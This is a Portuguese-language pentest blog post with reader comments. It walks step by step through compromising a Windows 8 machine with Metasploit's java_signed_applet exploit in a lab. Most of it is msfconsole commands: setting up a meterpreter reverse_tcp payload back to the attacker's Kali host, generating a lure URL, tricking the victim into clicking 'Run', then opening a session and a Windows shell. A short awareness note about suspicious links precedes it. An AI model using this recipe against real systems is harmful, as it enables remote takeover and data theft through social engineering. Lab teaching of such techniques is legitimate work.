Invasão no Windows 8 através do Java Signed Applet |
Browse: Home / Invasão no Windows 8 através do Java Signed Applet
Por: Marcos Henrique | 4311 Views | 2 Respostas
Este vulnerabilidade permite ao invasor obter qualquer dado de um computador como Windows 8, pois através de engenharia social como induzir os usuários a clicaram em links através de textos os imagens esta vulnerabilidade pode ser explorada.
Conscientize amigos e colegas de trabalho para se atentarem aos links que recebem via e-mail, facebook e ente outros para evitarem se serem vítimas desta vulnerabilidade.
Uma forma de evitar é manter sempre o Windows e o Antivirus devidamente atualizados.
Kali Linux: 10.10.10.130
Windows 8: 10.10.10.129
Execute o MSF Console
Utilize o exploit java_signed_applet
Defina o servidor Kali Linux (10.10.10.130) como conexão principal do exploit java_signed_applet
msf exploit (java_signed_applet) > set SRVHOST 10.10.10.130
Defina a porta do servidor Kali Linux (8080) como conexão principal do exploit java_signed_applet
msf exploit (java_signed_applet) > set SRVPORT 8080
Utilize o PAYLOAD reserve_tcp para estabelecer a conexão entre o host e o servidor
msf exploit (java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp
Defina o servidor Kali Linux (10.10.10.130) como conexão principal para o PAYLOAD reverse_tcp
msf exploit (java_signed_applet) > set LHOST 10.10.10.130
Defina a porta do servidor Kali Linux (10.10.10.130) como conexão principal para o PAYLOAD reverse_tcp
msf exploit (java_signed_applet) > set LPORT 4444
Execute o exploit para gerar a URL a ser acessada pelo Windows 8 (http://10.10.10.130:8080/clR8lKjmGpiSXqQ)
msf exploit (java_signed_applet) > exploit
No Windows 8 ao realizar o acesso ao link (http://10.10.10.130:8080/clR8lKjmGpiSXqQ) será exibida uma janela de Advertência de Segurança, aceite o Risco e clique em Executar
Observe que a conexão foi estabelecida com o servidor
Execute o comando sessions para exibir as sessões de conexão
msf exploit (java_signed_applet) > sessions
Estabeleça a conexão na sessão 1
msf exploit (java_signed_applet) > sessions -i 1
Com a conexão estabelecido digite comando utilizados no windows como o ipconfig para visualizar as conexões de rede
Utilize o comando sysinfo para exibir as Informações de Sistema, como o Nome do Computador e versão do Sistema Operacional
Execute o comando shell para exibir o console do Windows 8
Liste todos arquivos/diretórios que estão no Desktop
C:\Users\Marcos\Desktop>dir
Crie o diretório 100SECURITY
C:\Users\Marcos\Desktop>mkdir 100SECURITY
Como pode visualizar o diretório 100SECURITY foi criado com sucesso
Categorias: Análise de Vulnerabilidade, Pentest, Todos os Artigos | Palavras-chave: msfconsole, Pentest, Windows 8
Mikhail 10 de fevereiro de 2016 at 22:17 | Comentário
Olá todos os passos foram concluídos com sucesso mas o meu problema e que aqui não abre a sessão meterpreter, apenas mostra quando alguem acessa a url,
Poderia me ajuda ou dizer oq pode ser?
adsda 23 de outubro de 2017 at 11:09 | Comentário
@Mikhail Isso acontece quando a vitima não instala o plugin corretamente ou antivirus/firewall bloquea o acesso para a instalação do plugin !